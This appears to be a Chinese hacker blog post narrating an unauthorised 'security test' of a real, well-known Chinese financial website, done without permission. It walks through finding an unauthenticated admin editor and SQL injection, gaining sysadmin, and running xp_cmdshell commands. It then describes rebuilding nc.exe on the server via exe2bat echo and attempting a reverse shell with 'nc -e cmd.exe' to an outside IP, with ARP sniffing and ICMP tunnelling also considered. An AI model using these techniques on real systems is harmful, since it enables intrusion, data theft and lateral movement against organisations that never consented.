<< 渗透心得之----如何和管理员捉迷藏DB权限暴出网站物理路径代码 >>

对国内著名金融站点的一次安全检测

by 阿呆


站点:www.***.com.cn   (地址我屏蔽了)

文章目的:仅做技术交流,无其他用意

起因:纯粹无聊

Go`````

  www.***.com.cn是国内一家比较著名的金融信息站点,其站点规模也是十分庞大的!曾被国内CCTV等多家媒体报道,今天无意中路过此站,便无聊想检测一下,不晓得他的安全是否跟他的知名度同样呢```

站点的构造是我见过最变态的一个,脚本由ASP,.net,JSP组成

对站点大概的扫描了下,由于服务器设置了500报错,所以不管任何的POST 都返回200报告,所以想通过扫描挖掘深层敏感目录是没戏了```

开始对脚本进行检测,GOOGLE   site:***.com.cn inur:jsp asp aspx   后 都没检测到注射

意料之内,开始对各个副站逐一检查````

因为此次讲得是脚本检测,所以对服务器检测过程略过

在经过漫长的检测后,目标锁定下站点的 读书频道book.***.com.cn   这个频道采用的是ASP脚本 已经彻底检查过了,没有发现上传注射等漏洞````

接着对各各连接一个一个点过去,然后查看GET 数据包```   很意外的发现了一个比较隐蔽的目录    u_adlogin/upload/   来源是个图片连接``````一看就知道是个上传模块,一般上传模块都在后台使用的,如果没猜错的话u_adlogin 就是后台目录了````

开始手工猜后台, admin,admin.asp,login.asp,main.asp,member,manage!   GOOD manage跳出个后台登陆,试了下弱口令和OR都不行 正常~   接着提交manage/left.asp manage/top.asp, manage/main.asp manage/admin.asp (很多朋友可能会奇怪,为什么我会提交这些,因为有些站的后台 有分栏设置,而这些分栏文件一般是没有做COOKIE或siession验证的,但是他们的功能只是普通的导航而已)manage/admin.asp 终于跳出个菜单导航来了,有图书管理,图书编辑,图片管理,图片上传,管理员管理等````用迅雷下载全部,发现图书编辑的URL是/HTMLEditor/editput.asp 点进去,很好没有做cookie验证````

随便点了本图书,跳出个文本编辑器,但很意外的是这个编辑器不同于其他编辑器是HTML,它是ASP的HTMLEditor/editbox.asp?id=13755 随手加了个’

Microsoft OLE DB Provider for SQL Server error '80040e14'
字符串 '' 之前有未闭合的引号。
/manage/HTMLEditor/editbox.asp, line 77
天哪,传说中的后台注射让我遇到了,RP真不错呀!!!

丢到NBSI里跑了下,竟然是sysadmin

得到SA后,马上检测扩展储存是否完好
exec master.dbo.xp_cmdshell 'echo adai c:\adai.txt';--
接这列C盘目录,发现adai.txt顺利写入!看来xpcmdshell是可以直接利用了•••
先看下服务器开了哪些服务,net start
发现开了终端,但并没有发现有IIS服务•••难道?马上ipconfig ,果然Web与DATA分离了•••
Netstat –an下发现都是C段连接本机1433的信息,其中包括了主站,和大部分分站的IP。看来这个服务器是不仅是读书频道的数据库服务器,还是整个站点的通过存储数据库了,GOOD!

思路很简单了,拿下DATA服务器后,试着靠DATA服务器上的数据库对主站进行渗透,如果失败就sniffer C段下的所有服务器,因为arp –a 返回的消息证明可以直接sniffer了
既然开了终端,马上mastsc,结果显示连接失败,明明是外网,netstat –an也发现有3389的端口,难道? 马上net start,果然,做了IP策略,并仔细观察了下其他服务,没有发现防火墙,杀软等

从服务器的整体结构来看,估计这个IP策略是做到家了,马上扫描DATA服务器,结果发现只有21端口开放,并且21对应的并不是FTP•••也没有对应其他服务,这是怎么回事?先放着不管

思路:既然服务器做了IP策略,那我就反弹个shell回来,然后吧终端映射到本机,然后创建用户OVER之~~~

先传个NC上去,马上ECHO个VBS上去,cscript执行,结果返回报错c:\d.vbs(4, 3) msxml3.dll: The system cannot locate the resource specified.
Msxml3出错?估计是xmlhttp做了限制,试着重新注册下,然后再次cscript,仍然出错,没戏•••
又试着写了个FTP下载脚本,然后ftp –s:ftp.txt 结果显示time out ..试了几次还是一样!!难道RP出问题了?

NBSI自带的上传就别说了,二进制下文件扩充了一倍!

可能有些朋友会说,不会sp_addlogin个用户,然后用sqltools上传….请注意上面的扫描报告!
顿时陷入僵局,连文件都传不上去就别说反弹shell了….
点根烟,整理思路````
对了,我不是可以ECHO么,可以吧EXE转换成BAT然后ECHO 转换后的代码让他恢复成exe文件,这个exe2bat就可以搞定了••••

于是开始不断的ECHO- - 直到手快麻痹时,终于完成了,dir nc.exe
Volume in drive C has no label.
Volume Serial Number is 30A3-10C5

Directory of C:\WINDOWS\system32

2008-05-08 11:24 28,160 nc.exe
1 File(s) 28,160 bytes
0 Dir(s) 7,018,565,632 bytes free
终于传上去了,马上本地监听69端口,服务器上执行 nc –e cmd.exe xxx.xxx.xxx.xx 69
结果等了半天本机都没反应,服务器上tasklist下,发现NC已经顺利执行了,netstat –an却没有发现 69端口的连接信息。。。难道服务器无网络?
试着ping www.baidu.com
Pinging www.a.shifen.com [220.181.37.55] with 32 bytes of data:
Reply from 220.181.37.55: bytes=32 time=1ms TTL=55
Reply from 220.181.37.55: bytes=32 time=2ms TTL=55
Reply from 220.181.37.55: bytes=32 time=1ms TTL=55
Reply from 220.181.37.55: bytes=32 time=1ms TTL=55
Ping statistics for 220.181.37.55:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 1ms, Maximum = 2ms, Average = 1ms
没问题呀,可以上网••••
telnet 本机的 69端,失败••••
联想起刚才的FTP :time out 终端没反应,以及VBS和现在的telnet••••顿时倒吸口冷气,难道服务器是对C段外的所有TCP数据包做了屏蔽?如果是这样,按一般的渗透的思路都将失败- -
但是却可以PING,这么说 对 ICMP数据包没有屏蔽了,思路还是有的,把ICMP包和TCP数据包进行转换,这方法在朋友那听说过,涉及到汇编下对包的拆分再封装,可我偏偏对汇编感冒~~~
看来只能放弃DATA服务器了••••
不过,还没结束,思路是可以逆转的嘛~~~~HOHO

添加书签: [QQ书签] [百度搜藏] [新浪ViVi] [365Key网摘] [天极网摘] [我摘] [POCO网摘] [和讯网摘]

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

日历

最新评论及回复

Search

最近发表

Copyright 2006-2008 www.edge365.com Some Rights Reserved.